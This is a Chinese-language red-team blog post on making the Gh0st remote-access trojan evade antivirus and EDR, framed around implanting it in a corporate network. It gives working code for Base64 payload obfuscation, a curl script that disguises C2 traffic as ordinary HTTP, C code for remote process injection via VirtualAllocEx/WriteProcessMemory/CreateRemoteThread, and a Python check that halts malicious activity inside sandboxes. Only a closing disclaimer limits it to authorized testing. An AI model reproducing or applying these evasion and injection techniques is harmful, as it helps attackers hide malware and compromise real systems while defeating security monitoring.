0x01 绕过之旅的起点

在信息战的领域中,远控木马是红队成员手中的利剑。为了确保它们能够在目标环境中顺利运行,我们需要绕过各种安全防护机制。这场游戏的开始,通常是从理解目标系统和软件架构开始的。有一次,我面对一个复杂的企业内网环境,目标是植入一个远控木马并确保其隐匿运行。在深入研究之后,我发现这家企业的防护措施主要依赖于EDR和传统杀毒软件。这使我意识到,免杀技术在这次任务中至关重要。

0x02 实战环境准备

黑客示意图

在进行任何攻击之前,我都会搭建一个类似的测试环境,以便能够准确地复现目标系统的行为。对于这次行动,我准备了一个虚拟化环境,其中包括Windows 10系统、安装了几款主流的杀毒软件和EDR工具。这不仅帮助我模拟目标环境,还能够在测试中不断调整木马的行为,以确保其最优化。

首先,我选择了一款开源的远控工具Gh0st,并对其进行代码分析。Gh0st的优势在于其稳定性和通信协议的灵活性。在分析代码的过程中,我发现关键在于如何改变其载荷特征,做到隐匿。

0x03 Payload构造的艺术

在远控木马的世界里,载荷是核心。一旦你掌握了如何构造一个隐匿的载荷,你就成功了一半。我在实战中开发了一些Python和Bash脚本,用于动态生成和混淆载荷。

Python代码示例:混淆载荷

黑客示意图

<pre><code class="language-python"># 这段代码通过简单的字符串加密来混淆载荷 import base64

def encode_payload(payload): try: encoded_bytes = base64.b64encode(payload.encode(&#039;utf-8&#039;)) encoded_str = str(encoded_bytes, &#039;utf-8&#039;) return encoded_str except Exception as e: print(f&quot;出错了: {e}&quot;) return None

示例用法

original_payload = &quot;cmd.exe /c calc.exe&quot; encoded_payload = encode_payload(original_payload) print(f&quot;原始载荷: {original_payload}\n混淆载荷: {encoded_payload}&quot;)</code></pre>

在这段代码中,我们使用了简单的Base64编码来对命令进行混淆。这样的处理虽然简单,但能有效降低载荷被静态检测识别的概率。

0x04 流量伪装实战

为了确保远控木马的通信不被网络监控工具发现,我着手进行流量伪装。通过研究,我选择使用特定的协议伪装技术,将木马的通信伪装成正常的HTTP流量。在实战中,我通过修改Gh0st的通信模块,实现了这一点。

Bash脚本示例:伪装流量

<pre><code class="language-bash">#!/bin/bash

这段脚本用于创建一个伪装的HTTP请求

url=&quot;http://target.com/api/normalRequest&quot; payload=&quot;伪装数据&quot;

curl -X POST -H &quot;Content-Type: application/json&quot; -d &#039;{&quot;data&quot;:&quot;&#039;&quot;$payload&quot;&#039;&quot;}&#039; $url echo &quot;发送伪装HTTP请求到 $url&quot;</code></pre>

通过这种方式,我们可以将恶意通信伪装成正常的HTTP请求,从而绕过一些流量监控机制。

0x05 绕过EDR与杀毒软件

有一次,我在实战中遇到了一款更新频繁且检测率极高的EDR软件。为了绕过它,我用到了进程注入技术,将远控模块注入到系统中常见的进程中,同时使用了内存加载技术。

进程注入示例:C代码

<pre><code class="language-c">#include &lt;windows.h&gt;

include &lt;tlhelp32.h&gt;

include &lt;stdio.h&gt;

// 这段代码用于将载荷注入到目标进程 BOOL InjectIntoProcess(DWORD processId, char* payload, size_t payloadSize) { HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId); if (hProcess == NULL) { printf(&quot;无法打开目标进程,错误码: %u\n&quot;, GetLastError()); return FALSE; }

LPVOID allocMem = VirtualAllocEx(hProcess, NULL, payloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (allocMem == NULL) { printf(&quot;无法分配内存到目标进程,错误码: %u\n&quot;, GetLastError()); CloseHandle(hProcess); return FALSE; }

if (!WriteProcessMemory(hProcess, allocMem, payload, payloadSize, NULL)) { printf(&quot;无法写入内存到目标进程,错误码: %u\n&quot;, GetLastError()); VirtualFreeEx(hProcess, allocMem, 0, MEM_RELEASE); CloseHandle(hProcess); return FALSE; }

// 创建远程线程执行载荷 HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)allocMem, NULL, 0, NULL); if (hThread == NULL) { printf(&quot;无法创建远程线程,错误码: %u\n&quot;, GetLastError()); VirtualFreeEx(hProcess, allocMem, 0, MEM_RELEASE); CloseHandle(hProcess); return FALSE; }

CloseHandle(hThread); CloseHandle(hProcess); return TRUE; }</code></pre>

这种技术通过在目标进程中执行载荷,能有效绕过许多安全检测机制。

0x06 被动防御与主动对抗

在实际操作中,我也见识到了一些防御技术的进步,比如行为检测和沙盒分析。然而,对于红队来说,主动对抗的策略永远是首选。在进行攻击时,我通常会保持持续更新自己的技术栈,以确保能够应对最新的防御手段。

例如,有一次在进行木马植入后,我发现目标环境开始使用沙盒检测,因此迅速调整策略,通过动态反沙盒技术来抵御。

反沙盒技术:Python示例

<pre><code class="language-python"># 这段代码用于检测沙盒环境 import os

def running_in_sandbox(): sandbox_signatures = [&quot;sandbox&quot;, &quot;virtualbox&quot;, &quot;vmware&quot;, &quot;qemu&quot;] for signature in sandbox_signatures: if signature in os.environ.get(&#039;PATH&#039;, &#039;&#039;).lower(): return True return False

if running_in_sandbox(): print(&quot;检测到沙盒环境,停止恶意活动&quot;) else: print(&quot;未检测到沙盒环境,继续运行&quot;)</code></pre>

通过这段代码,我们能够在发现沙盒环境时停止恶意活动,从而避开检测。

黑客示意图

0x07 个人经验谈

在远控木马的免杀领域,成功的关键在于不断学习和适应。每当我完成一次任务,都会总结经验和教训,并更新我的工具库。有时候,简单的技术也能发挥出奇效,比如改变木马的编译参数、调整通信协议、或是利用一些开源项目进行二次开发。

同时,我也保持对EDR和杀毒软件的最新研究,知己知彼,才能百战不殆。对于每一个新技术,我都尽量写下可复现的脚本或代码,以便在需要时快速应用。对于红队成员来说,灵活性和创造力是成功的关键。

合法声明:本文仅限授权安全测试,供安全研究人员学习。未经授权的攻击行为后果自负。